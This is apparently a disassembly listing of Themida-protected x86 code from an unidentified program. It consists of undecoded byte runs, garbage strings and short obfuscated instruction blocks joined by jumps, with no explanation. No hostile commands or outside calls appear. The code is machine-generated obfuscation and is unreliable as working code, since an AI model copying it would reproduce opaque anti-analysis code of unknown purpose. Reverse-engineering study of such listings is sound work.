dd 0D66933E5h, 0ED814D49h, 3A4C3267h, 59A4ED81h, 74E94799h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5667DB: ; CODE XREF: Themida_:0056E53Bj
mov edx, 0D581AD2h
add ebx, edx
pop edx
push edx
mov edx, 52C1A84h
push ecx
mov ecx, 6D3304B6h
add ebx, ecx
jmp loc_574FFD
; ---------------------------------------------------------------------------
loc_5667F6: ; CODE XREF: Themida_:00572AEDj
xchg ebp, [esp]
pop esp
jmp loc_572E30
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 4BE5600h, 81000000h, 102091C3h, 81F30158h, 102091EBh
dd 24348B58h, 93F3E9h, 5BDD3100h, 75A68h, 242C8900h, 10243481h
dd 59547039h, 3910F181h, 0E95D5470h, 381Dh, 0D5793105h
dd 0F5685E0Ch, 8900004Ah, 0CDE9242Ch, 0FFFFC6h, 241C8BF8h
dd 0E9E28952h, 0D0Ch, 0A4B9515Ah, 417E2868h, 68A3E981h
dd 48E97E28h, 66000059h, 163CE953h, 81BB0000h, 0D13EC03Ah
dd 0FFC381EBh, 0F7FFFFFFh, 228368DBh, 0C890000h, 0BA525624h
dd 52C0059Ah, 0FFEA1EE9h, 4CE95FFFh, 0BB000001h, 46B76ECCh
dd 99E9DF89h, 0C1000092h, 4DE908EBh
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5668B7: ; CODE XREF: Themida_:0056ECB3j
sub esi, 5DEA26ECh
sub esi, 0BABE041Ch
sub ecx, esi
pop esi
add ecx, eax
add ecx, 1D8E6744h
jmp loc_56E4C1
; ---------------------------------------------------------------------------
loc_5668D3: ; CODE XREF: Themida_:005716BDj
push dword ptr [esp]
pop eax
jmp loc_562455
; ---------------------------------------------------------------------------
dd 8B243C87h, 0C892424h, 5EE95424h, 5EFFFFEFh, 0F6242C81h
dd 0E92CC51Eh, 9A96h, 24048B5Bh, 381EE9h
db 0
; ---------------------------------------------------------------------------
loc_566901: ; CODE XREF: Themida_:0056E928j
pop edx
xchg esi, [esp]
mov esp, [esp]
add esp, 4
push 21B5h
mov [esp], eax
jmp loc_561042
; ---------------------------------------------------------------------------
loc_56691B: ; CODE XREF: Themida_:00572CBCj
push eax
jmp loc_56E94C
; ---------------------------------------------------------------------------
aAxnsS db '€åNé"s',0
db 0
; ---------------------------------------------------------------------------
loc_566929: ; CODE XREF: Themida_:00571889j
mov ecx, 3B894E56h
push edi
mov edi, 5C760F41h
and edi, 46E842C8h
add edi, 0D7B280Bh
add edi, 7E58127Bh
sub ecx, 3A1003F6h
sub ecx, edi
add ecx, 3A1003F6h
mov edi, [esp]
add esp, 4
not ecx
jmp loc_56BDBC
; ---------------------------------------------------------------------------
dd 241C8B66h, 8302C483h, 20E904ECh
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566973: ; CODE XREF: Themida_:00562711j
add eax, 4
jmp loc_57542B
; ---------------------------------------------------------------------------
db 52h, 51h, 68h
dd 510E6BD4h, 13C0E9h
db 0
; ---------------------------------------------------------------------------
loc_566989: ; CODE XREF: Themida_:005734F0j
add [esp], eax
push esi
mov esi, 60ED0F6Eh
add [esp+4], esi
jmp loc_574BAC
; ---------------------------------------------------------------------------
aVsjw db 'Vé†w',0
dd 44E95A00h
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5669A7: ; CODE XREF: Themida_:0056AF6Fj
mov ebp, 2A0B790Eh
xor ecx, ebp
mov ebp, [esp]
add esp, 4
and edi, ecx
mov ecx, [esp]
add esp, 4
shr edi, 2
or edi, 77F05345h
jmp loc_56968C
; ---------------------------------------------------------------------------
loc_5669CD: ; CODE XREF: Themida_:00567411j
push esi
jmp loc_572D6C
; ---------------------------------------------------------------------------
db 8Fh
dd 835C2404h, 148904ECh, 4271BA24h, 0D0290711h, 8324148Bh
dd 0BE904C4h, 33000041h, 1C31241Ch, 241C3324h, 0FE24248Bh
dd 0E99C2404h, 0FFFFA63Eh, 8104EBC1h, 7CEFCEC3h, 5BDA291Bh
dd 15AD589h, 242C8BEBh, 4C481h, 7CE90000h, 810000FEh, 432A2BC1h
dd 0E9F10132h, 0FFFFBEEBh, 1487D2F7h, 3581E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_566A3A: ; CODE XREF: Themida_:00562515j
shr esi, 7
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
jmp loc_56887B
; ---------------------------------------------------------------------------
loc_566A55: ; CODE XREF: Themida_:005698D2j
xor esi, 47AE321Dh
sub ebp, esi
jmp loc_56FA5C
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 417DE9h, 242C8900h, 4BDh, 40F4E900h, 4680000h, 5A000000h
dd 34FFD601h, 0C4815A24h, 4, 8B243487h, 48F2424h, 0D3665C24h
dd 0E99C240Ch, 0FFFFA5A2h, 0E9243C8Bh, 0FFFFFAA4h, 8B240C87h
dd 0FBE92424h, 0BA0000CEh, 7B8E0046h, 8C8FE9h, 14875C00h
dd 24248B24h, 9CC88566h, 0FFA575E9h, 0EA815FFFh, 26511EA4h
dd 0C281CA01h, 26511EA4h, 667AE9h
db 0
; ---------------------------------------------------------------------------
loc_566AE1: ; CODE XREF: Themida_:0056C5A5j
pop ebp
add edi, 0E7BFBBF0h
add ecx, edi
pop edi
jmp loc_572B55
; ---------------------------------------------------------------------------
loc_566AF0: ; CODE XREF: Themida_:005707A5j
mov edi, 2CD6C75h
add edi, 165E9E1Ch
or edx, edi
jmp loc_56B76A
; ---------------------------------------------------------------------------
dw 0C581h
dd 9C23C4FDh, 8C35E9h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], edi
mov edi, 5F620748h
add edi, 367A6393h
jmp loc_56AD7E
; ---------------------------------------------------------------------------
db 50h, 0B8h, 0D5h
dd 29790759h, 3C8B58C2h, 4C48124h, 33000000h, 14312414h
dd 2097E924h, 0E95C0000h, 57CAh, 5866E388h, 0FEADB551h
dd 0E9CDFEC5h, 0FFFFECA5h
; ---------------------------------------------------------------------------
loc_566B6C: ; CODE XREF: Themida_:0056D418j
sub edx, 3DBE4A5Ch
jmp loc_56EE7D
; ---------------------------------------------------------------------------
db 66h
dd 0E924248Bh, 0FFFFA4C2h
; ---------------------------------------------------------------------------
loc_566B80: ; CODE XREF: Themida_:00568474j
push 4C7C79A3h
pop ebp
not ebp
sub ebp, 74BE5F92h
jmp loc_563E03
; ---------------------------------------------------------------------------
aZSD db '‡,$é#¤',0
dw 400h
dd 2434FF08h, 0E9241C8Bh, 0A3FAh
; ---------------------------------------------------------------------------
loc_566BA8: ; CODE XREF: Themida_:005619A4j
mov edi, 3802654Bh
or edi, 52E81891h
jmp loc_564030
; ---------------------------------------------------------------------------
dd 565DEF01h, 3961B951h, 0E1C11EA3h, 495EE905h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_566BCA: ; CODE XREF: Themida_:0056E257j
xchg ebx, edx
xchg edx, [esp]
mov ebp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
jmp loc_56FF86
; ---------------------------------------------------------------------------
dw 34FFh
aSos db '$éoè',0
align 2
loc_566BEA: ; CODE XREF: Themida_:00563BBBj
pop ebx
add esp, 4
push 7714h
jmp loc_568029
; ---------------------------------------------------------------------------
db 58h
dd 83243C8Bh, 0C78104C4h, 4, 2B850h, 0C7810000h, 57DD126Fh
dd 4A55E9h, 1C896600h, 6AB55124h, 0E96DB652h, 0F859h, 0F3BA525Ah
dd 2112384Eh, 4C2D5AD0h, 0E9002044h, 81A2h, 0C281E289h
dd 4, 0FFE695E9h, 0E5C780FFh, 0C780CFFEh, 0DB2EE976h, 0C2290000h
dd 8124048Bh, 4C4h, 0E9D30100h, 0FFFFDDFFh, 24048B66h
dd 5E545653h, 4C681h, 0EE810000h, 4, 8B243487h, 8F542424h
dd 4832404h, 0EAE90424h, 8900005Bh, 24048BC3h, 104C483h
dd 241C8BD9h, 4C481h, 0CE890000h, 9ABFE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_566CAA: ; CODE XREF: Themida_:00561FAEj
and ebp, 29776F41h
xor ebp, 1134105h
sub ebx, ebp
jmp loc_571541
; ---------------------------------------------------------------------------
db 5Dh, 0E9h, 51h
dd 31000006h, 32E9241Ch, 57000037h, 0FFE856E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566CD1: ; CODE XREF: Themida_:0056F004j
add edx, 228929C6h
mov ecx, edx
pop edx
jmp loc_567410
; ---------------------------------------------------------------------------
db 0BDh
dd 3CAF7376h, 1CDCF581h, 0B8507B7Dh, 1D6B7737h, 7E223548h
dd 160D1F80h, 0E969DC0Bh, 948Fh
; ---------------------------------------------------------------------------
loc_566D00: ; CODE XREF: Themida_:005729A3j
mov ebx, 0
jmp loc_56EEC4
; ---------------------------------------------------------------------------
loc_566D0A: ; CODE XREF: Themida_:005696D8j
pop ebx
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_56DFD7
; ---------------------------------------------------------------------------
db 89h
dd 16BE2434h, 567E071Dh, 0A8242C81h, 0E95E7D61h, 0C96Bh
dd 0EF80EF86h, 0D9EAE9B6h, 0EC81FFFFh, 4, 6AA0E9h
db 0
; ---------------------------------------------------------------------------
loc_566D41: ; CODE XREF: Themida_:0057375Bj
mov ebp, edi
push ebp
sub dword ptr [esp], 50C03F4h
pop esi
add esi, 50C03F4h
pop ebp
mov edi, [esp]
add esp, 4
and eax, esi
push dword ptr [esp]
jmp loc_56BED4
; ---------------------------------------------------------------------------
loc_566D66: ; CODE XREF: Themida_:00565F85j
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_571E6E
; ---------------------------------------------------------------------------
dd 5966C800h, 5B2434FFh, 5304C483h, 0FFC349E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566D8D: ; CODE XREF: Themida_:0056D5D9j
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push 43CCh
mov [esp], edx
push 1D64h
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_56462E
; ---------------------------------------------------------------------------
dw 83ADh
dd 0F00207Fh, 0A1B584h, 4EC8100h, 89000000h, 0EC83242Ch
dd 241C8904h, 0BD1551BBh, 0B5D7E910h, 0EC830000h, 5E42E902h
dd 0E95A0000h, 95F5h, 4EC8357h, 0BD242C89h, 0DB15434h
dd 0E11CB8BFh, 0CEEF810Ah, 0E9582E20h, 0FFFFF335h, 0E9243489h
dd 2DAh, 27C4EE81h, 0BF572104h, 754C5757h, 3C8BFE29h, 4C48324h
dd 88B1E958h, 895C0000h, 0E789243Ch, 65F468h, 240C8900h
dd 0C83F3568h, 0F896E920h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566E46: ; CODE XREF: Themida_:00569CE1j
add esp, 4
shr ecx, 7
jmp loc_56289E
; ---------------------------------------------------------------------------
dd 4EC8150h, 89000000h, 0DFE9242Ch
db 9Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_566E63: ; CODE XREF: Themida_:005688ACj
sub ecx, 442A7A81h
shl ecx, 1
push ebx
jmp loc_576A92
; ---------------------------------------------------------------------------
loc_566E71: ; CODE XREF: Themida_:005764A1j
pop ebx
pop eax
push ebx
mov bh, 0F0h
xor cl, bh
jmp loc_5646FC
; ---------------------------------------------------------------------------
loc_566E7D: ; CODE XREF: Themida_:0056404Cj
push ebx
jmp loc_5735EC
; ---------------------------------------------------------------------------
aMhC db '¬hœc',0
dd 24148900h, 0B15150B2h, 0E9C828C2h, 9838h
; ---------------------------------------------------------------------------
loc_566E98: ; CODE XREF: Themida_:00574FE1j
push 4F7Dh
jmp loc_564049
; ---------------------------------------------------------------------------
loc_566EA2: ; CODE XREF: Themida_:0056FA28j
sub dword ptr [esp], 5A094CCAh
pop eax
add eax, 5A094CCAh
jmp loc_572BCB
; ---------------------------------------------------------------------------
dd 0E902EC83h, 0FFFFFD5Dh, 2B0F1C2Dh, 0E9F8013Dh, 0FFFFA728h
dd 8924248Bh, 74FF240Ch, 34FF0424h, 240C8B24h, 4C481h
dd 0C4810000h, 4, 8B24048Fh, 4312424h, 0A150E924h, 2C89FFFFh
dd 4BD24h, 0D0E90000h, 0B7000001h, 58E730AAh, 5176CF80h
dd 0F1807AB1h, 0E9CF006Bh, 0FFFFBCD3h, 0FFA129E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_566F19: ; CODE XREF: Themida_:00561DB1j
push 3CE7h
jmp loc_56C26C
; ---------------------------------------------------------------------------
db 81h
dd 0A7C26C6h, 5EF2014Bh, 0AE6B951h, 7DE9264Ah, 8B00003Ch
dd 0C4812414h, 4, 3107E6C1h, 0D868E9C6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566F4A: ; CODE XREF: Themida_:00565B2Cj
xor ebx, [esp]
jmp loc_565055
; ---------------------------------------------------------------------------
loc_566F52: ; CODE XREF: Themida_:005627D6j
mov edi, 77E72653h
add edi, 3B991387h
push 0
sub [esp], edi
pop edi
xor edi, 6463FED1h
xor ecx, edi
pop edi
sub eax, 2C825F9Fh
push ebp
mov ebp, 8E7781Bh
add eax, ebp
mov ebp, [esp]
jmp loc_561793
; ---------------------------------------------------------------------------
dd 4C4835Ah, 0FFF013E9h, 34FF5CFFh, 7D62E924h, 0C1290000h
dd 74FF5158h, 0BAE90424h, 89FFFFCEh, 4C181E1h, 50000000h
dd 4B8h, 0FFE0E900h, 0EC83FFFFh, 4896602h, 4EC8124h, 89000000h
dd 82B22414h, 0D42808B4h, 66E1005Ah, 0B4505258h, 0F2A0E99Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_566FDA: ; CODE XREF: Themida_:00561796j
add eax, ecx
jmp loc_56C855
; ---------------------------------------------------------------------------
loc_566FE1: ; CODE XREF: Themida_:005650ECj
xor esi, [esp]
pop esp
add dword ptr [esp+4], 462C71B5h
sub dword ptr [esp+4], 5597699Dh
add [esp+4], ebx
add dword ptr [esp+4], 5597699Dh
jmp loc_5672E2
; ---------------------------------------------------------------------------
dw 0C87h
dd 0C895C24h, 53E18924h, 0E8C4E9h, 24148700h, 4EC815Ch
dd 0E9000000h, 72D4h, 8005E6C0h, 0F3288EEEh, 0E2E1E9h
dd 241C8B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub esp, 4
jmp loc_565406
; ---------------------------------------------------------------------------
dd 81240C8Bh, 4C4h, 4AD2F700h, 1DB7B951h, 0E95535FFh, 0FFFFE15Fh
; ---------------------------------------------------------------------------
loc_567060: ; CODE XREF: Themida_:0056CDDBj
shr eax, 4
jmp loc_570B57
; ---------------------------------------------------------------------------
dd 0E9C5315Dh, 0FFFFC7F8h, 0E1462DBEh, 5EF7290Dh, 0DFE9FA01h
db 96h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56707F: ; CODE XREF: Themida_:0056DE45j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
sub ebx, 528A23D9h
sub ebx, eax
push ebp
mov ebp, 630E749Eh
sub ebp, 23850F18h
sub ebp, 291360ECh
jmp loc_56C979
; ---------------------------------------------------------------------------
dd 5A545258h, 4C281h, 0D5E90000h, 890000B1h, 0F8BFE9E7h
dd 0C87FFFFh, 24248B24h, 0FF3BEE81h, 0E1E9F76Eh, 81FFFFF6h
dd 4C190DE9h, 81E90118h, 4C190DC1h, 2DE95D18h, 81000010h
dd 0EF10A9EEh, 253FE961h, 68570000h, 41B47BE1h, 8EFC15Fh
dd 4B87C781h, 0E9FFBEh, 33FFFFC3h, 0E95C243Ch, 6326h, 0A21933B9h
dd 0E9C1414Dh, 0F1C3E907h, 8853FFFFh, 5BFC88EFh, 81240C8Bh
dd 4C4h, 0CEAAE900h, 1C890000h, 0E69E924h, 59580000h, 99E3E9h
db 0
; ---------------------------------------------------------------------------
loc_56713D: ; CODE XREF: Themida_:0056E4E5j
pop esp
jmp loc_56C9CA
; ---------------------------------------------------------------------------
db 68h
dd 15364C0Fh, 1FF6815Eh, 89011C35h, 0F1815EF1h, 1DE0B70Ch
dd 0C009E9h
db 0
; ---------------------------------------------------------------------------
loc_56715D: ; CODE XREF: Themida_:00570EACj
mov bh, 92h
jmp loc_56BF38
; ---------------------------------------------------------------------------
loc_567164: ; CODE XREF: Themida_:005707CBj
sub dword ptr [esp+8], 3BC924DCh
sub [esp+8], edi
add dword ptr [esp+8], 3BC924DCh
mov edi, [esp]
add esp, 4
jmp loc_56F04D
; ---------------------------------------------------------------------------
loc_567183: ; CODE XREF: Themida_:005638CAj
sub ebx, ecx
pop ecx
sub ebx, 0B41C1C5Dh
mov edx, ebx
jmp loc_568C02
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E9516600h, 74A9h
; ---------------------------------------------------------------------------
loc_5671A0: ; CODE XREF: Themida_:005769DBj
push edi
mov edi, esp
jmp loc_567CE9
; ---------------------------------------------------------------------------
loc_5671A8: ; CODE XREF: Themida_:00562209j
mov edx, 34B65176h
xor ebx, edx
jmp loc_568E24
; ---------------------------------------------------------------------------
dd 1B93C381h, 6BE904A8h, 5C00001Ch, 0B965E9h, 9C516600h
dd 0FF9E75E9h, 50C328FFh, 0C300C7B0h, 0A500E958h, 8680000h
dd 0E9000039h, 0FFFFA216h, 9D1C77FFh, 1CD35966h, 4FE99C24h
db 9Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5671F3: ; CODE XREF: Themida_:0057334Fj
xor edi, 3E696F86h
xor ebp, edi
jmp loc_56AD3A
; ---------------------------------------------------------------------------
aQZsi db 'Q±‡é‰×',0
align 4
dd 5AEEE980h, 0C8007704h, 2877B151h, 34FF59C8h, 240C8B24h
dd 0D3DFE9h, 4C48300h, 8B8BE9h
db 0
; ---------------------------------------------------------------------------
loc_567229: ; CODE XREF: Themida_:0056B1DFj
mov eax, 0
add eax, ebx
xor dword ptr [eax], 0F813D115h
pop eax
pop ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push ebp
jmp loc_568386
; ---------------------------------------------------------------------------
loc_567261: ; CODE XREF: Themida_:00574B9Fj
xchg edi, [esp]
jmp loc_5677E3
; ---------------------------------------------------------------------------
loc_567269: ; CODE XREF: Themida_:00576948j
xor [esp], edi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push esp
pop ecx
push edi
push 1C524D13h
pop edi
not edi
neg edi
jmp loc_567B91
; ---------------------------------------------------------------------------
db 66h
dd 0E924048Bh, 9F9Eh, 5DE9C889h, 51000063h, 0C181E189h
dd 4, 4BE56h, 0F1290000h, 240C875Eh, 8924248Bh, 5FE92414h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5672C3: ; CODE XREF: Themida_:00562663j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
jmp loc_57481C
; ---------------------------------------------------------------------------
aSK db '\é/Š',0
align 2
loc_5672E2: ; CODE XREF: Themida_:00567001j
sub dword ptr [esp+4], 462C71B5h
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
pop eax
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
jmp loc_56E767
; ---------------------------------------------------------------------------
dd 1D05D001h, 5A7BEC0Fh, 42Dh, 24048700h, 6A3F685Ch, 24890000h
dd 24048324h, 24048F04h, 4B850h, 0B3E90000h, 83FFFFDFh
dd 48904ECh, 26824h, 5BE90000h, 5F000052h, 0FFBD69E9h
dd 240487FFh, 0ED81585Ch, 5EF9283Eh, 0C581FD01h, 5EF9283Eh
dd 81243C8Bh, 4C4h, 0F81DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567376: ; CODE XREF: Themida_:0056B707j
mov [esp], ecx
push esi
jmp loc_570539
; ---------------------------------------------------------------------------
db 81h
dd 0B1ABBEEEh, 8BF0017Ah, 0C4812434h, 4, 13EFC181h, 22E94432h
dd 5700009Fh, 4BFh, 5FFA0100h, 0FFB7CDE9h, 40FD05FFh, 895517FDh
dd 8BEF89C5h, 0C481242Ch, 4, 5624048Bh, 0C681E689h, 4
dd 8704C683h, 0DDE92434h, 680000CFh, 45DFh, 0FF9EF5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5673DD: ; CODE XREF: Themida_:00569751j
sub edx, 0EE2D1523h
jmp loc_56FF49
; ---------------------------------------------------------------------------
dd 0C781E789h, 4, 4C781h, 0FEE90000h
db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5673FB: ; CODE XREF: Themida_:0056558Aj
push 1EA4h
mov [esp], ebp
pop esi
pop ebp
jmp loc_5731C7
; ---------------------------------------------------------------------------
loc_56740A: ; CODE XREF: Themida_:0056F593j
push ecx
jmp loc_569952
; ---------------------------------------------------------------------------
loc_567410: ; CODE XREF: Themida_:00566CDAj
push ebp
jmp loc_5669CD
; ---------------------------------------------------------------------------
dw 565Fh
dd 199CB951h, 98BE2DC9h, 312DC919h, 0F50159CEh, 242C335Eh
dd 33242C31h, 248B242Ch, 44C16824h, 3C890000h, 68E78924h
dd 7B52h, 5E5DE9h, 49E95F00h
db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56744F: ; CODE XREF: Themida_:0056CB08j
add esi, 4
sub esi, 4
jmp loc_5705FE
; ---------------------------------------------------------------------------
dd 0E400322Dh, 240C8B49h, 81E28952h, 4C2h, 4C28300h, 8B241487h
dd 68572424h, 1275h, 0FFF892E9h, 59CE00FFh, 34FFF000h
dd 0C4835A24h, 665B6604h, 66400E68h, 0B7241C89h, 0F6CF805Dh
dd 0EFD0CFFEh, 0FFB6A0E9h, 5A66FFh, 241C8BD9h, 4C481h
dd 0CB280000h, 6B685966h, 89000058h, 0BBE92404h, 1000084h
dd 555B5EF1h, 4EC81h, 34890000h, 4ADDBE24h, 0D9BD626Dh
dd 0E9626D4Ah, 0FFFFC171h, 927985BAh, 6E2C148h, 2B19BF57h
dd 0EF816281h, 3A631E72h, 535FFA29h, 94756ABBh, 88C38149h
dd 81166079h, 0D40361F3h, 23F3815Bh, 500F7A5Bh, 0A64B7BB8h
dd 691C0567h, 0BFE96052h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567523: ; CODE XREF: Themida_:0056F465j
pop ebx
pop dword ptr [esp]
jmp loc_56D94F
; ---------------------------------------------------------------------------
dd 54241C89h, 65E6685Bh, 4890000h, 4B824h, 0C3010000h
dd 2C38358h, 6B17E953h, 0FF5D0000h, 0E95F2434h, 0CFA3h
dd 391D68h, 0B44AE900h, 34890000h, 1DBA5224h, 0E95A9B15h
dd 8474h, 4C281h, 0B8500000h, 4, 3358C201h, 14312414h
dd 24143324h, 468665Ch, 1489667Ch, 5B624h, 0E993E9F0h
dd 0B259FFFFh, 8BE23090h, 0C4812404h, 4, 0F6FFC280h, 74B551D2h
dd 80A9F580h, 96E9CDF5h
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5675B7: ; CODE XREF: Themida_:00562C4Dj
mov edi, 763E419Fh
neg edi
sub edi, 0BC6DE210h
mov ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 6A865457h
jmp loc_5739C9
; ---------------------------------------------------------------------------
db 31h
dd 4332404h, 24248B24h, 24148966h, 586FE9h, 0EDE98000h
dd 23C2E9h, 4685100h, 0E9000000h, 0D8D2h, 2E98159h, 31AE808Fh
dd 0E95559CBh, 0D1Ah
; ---------------------------------------------------------------------------
loc_56760C: ; CODE XREF: Themida_:0057049Dj
mov edi, 4
add ebx, edi
pop edi
jmp loc_56D310
; ---------------------------------------------------------------------------
aYa db 'Y€Ã»',0
aUaiXsc db 'ã€ë»Xé— ',0
align 4
dd 0E904C583h, 773Ah, 0DA0BE953h, 0F731FFFFh, 0F731FE31h
dd 240CFF56h, 0FFD740E9h, 0F0305BFFh, 5A2434FFh, 92B6E9h
dd 242C8700h, 8EBE565Ch, 812A373Ch, 0D54BE6CEh, 514E4676h
dd 0F77FEAB9h, 0BB77E97Eh, 248B0000h, 1BA5224h, 1000000h
dd 0B82AE9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56767E: ; CODE XREF: Themida_:0056D39Cj
mov [esp], edx
jmp loc_570F13
; ---------------------------------------------------------------------------
dw 0D001h
dd 1A09685Ah, 0CBE90000h, 0F7FFFFFEh, 88BBE9DDh, 0B5510000h
dd 30EFB48Dh, 0FE959ECh
db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5676A7: ; CODE XREF: Themida_:0056F778j
shr ecx, 2
push 225Ah
mov [esp], ebx
jmp loc_5676F0
; ---------------------------------------------------------------------------
loc_5676B7: ; CODE XREF: Themida_:0056EAD0j
xor esi, 0FFF7FEBh
push ebx
jmp loc_5751C8
; ---------------------------------------------------------------------------
loc_5676C3: ; CODE XREF: Themida_:0057698Dj
mov ebx, [esp]
add esp, 4
loc_5676CC: ; CODE XREF: Themida_:0056113Dj
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
pop eax
push edx
push esp
jmp loc_571E07
; ---------------------------------------------------------------------------
aIYxwsnp db '‰ËYXWéN¯',0
dw 2C00h
dd 0E9C10471h, 6A7Ah
; ---------------------------------------------------------------------------
loc_5676F0: ; CODE XREF: Themida_:005676B2j
push 6CB1h
mov [esp], ecx
jmp loc_563F36
; ---------------------------------------------------------------------------
db 29h, 0F9h, 5Fh
dd 83B1E9h
db 0
; ---------------------------------------------------------------------------
loc_567705: ; CODE XREF: Themida_:0056ED25j
xor edi, ebp
pop ebp
push eax
mov eax, 1D116D44h
xor edi, eax
pop eax
shl edi, 4
shl edi, 1
neg edi
push ecx
mov ecx, 694E6343h
dec ecx
or ecx, 4DF31298h
and ecx, 15B4071Ch
sub ecx, 0AC7DB76Bh
xor edi, ecx
jmp loc_56E9D4
; ---------------------------------------------------------------------------
loc_567738: ; CODE XREF: Themida_:00563247j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_57464E
; ---------------------------------------------------------------------------
loc_56774C: ; CODE XREF: Themida_:005692A6j
sub edi, 7A9C2D94h
pop edx
and edi, 70918F2h
inc edi
dec edi
push edx
mov edx, 4000856h
xor edi, edx
pop edx
mov ebp, edi
pop edi
add esi, 54C23152h
add esi, ebp
sub esi, 54C23152h
push dword ptr [esp]
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_56E910
; ---------------------------------------------------------------------------
loc_567789: ; CODE XREF: Themida_:00575D0Bj
mov [esp], edx
mov edx, 1Ch
sub edx, 8CF4E9Bh
jmp loc_5703FD
; ---------------------------------------------------------------------------
dd 6A410BBFh, 93F7811Ah, 816A4A09h, 0C23D3FC7h, 3CD2E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5677B2: ; CODE XREF: Themida_:0056E6EEj
push esi
mov esi, 773B32F9h
add esi, 9DABD39Dh
add ebx, esi
pop esi
jmp loc_5765FE
; ---------------------------------------------------------------------------
dw 0DA01h
dd 0FFDFD3E9h, 6E9C1FFh, 0FFA4BEE9h, 5E5A56FFh, 3EDFC281h
dd 47E92C8Eh
db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5677E3: ; CODE XREF: Themida_:00567264j
pop esp
mov [esp], ecx
push ebx
mov ebx, offset byte_511491
push edx
push esi
mov esi, 5FA6080Ch
mov edx, esi
jmp loc_569750
; ---------------------------------------------------------------------------
loc_5677FB: ; CODE XREF: Themida_:00563E38j
push 2BD5h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_56C24C
; ---------------------------------------------------------------------------
db 31h, 0F8h, 5Fh
dd 53E1C381h, 0EB8159A1h, 3C370214h, 0F21EB81h, 0C32979E6h
dd 0F21C381h, 0C38179E6h, 3C370214h, 0BCBFE9h
db 0
; ---------------------------------------------------------------------------
loc_567841: ; CODE XREF: Themida_:00575917j
add edi, 863C1469h
push edx
mov edx, edi
mov ebp, edx
pop edx
push dword ptr [esp]
jmp loc_57346F
; ---------------------------------------------------------------------------
db 0BFh, 27h, 51h
dd 4CE974FCh
db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56785F: ; CODE XREF: Themida_:0056C868j
sub eax, 3DB698Fh
mov esi, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
push edx
push ebx
mov ebx, 17AD044Dh
jmp loc_5704C8
; ---------------------------------------------------------------------------
db 56h, 0FFh, 4
dd 0C6815E24h, 31C019F7h, 0C681DEF7h, 6A7A673Ah, 8483E9h
db 0
; ---------------------------------------------------------------------------
loc_567899: ; CODE XREF: Themida_:005710B5j
add edx, ecx
pop ecx
push edi
mov edi, 4
sub edx, 5AE25359h
sub edx, edi
add edx, 5AE25359h
jmp loc_56B022
; ---------------------------------------------------------------------------
db 68h, 0C8h, 9
dd 895A4767h, 2434FFD0h, 0FFDA47E9h, 5FCB81FFh, 0E928AB0Ch
dd 0FFFFEFDFh, 9514B951h, 32051639h, 0E949E400h, 2E49h
dd 42474FFh, 582434FFh, 4EC81h, 2C890000h, 0E6895624h
dd 4C681h, 0EE830000h, 0DA06E904h, 0BB530000h, 4, 79E9D801h
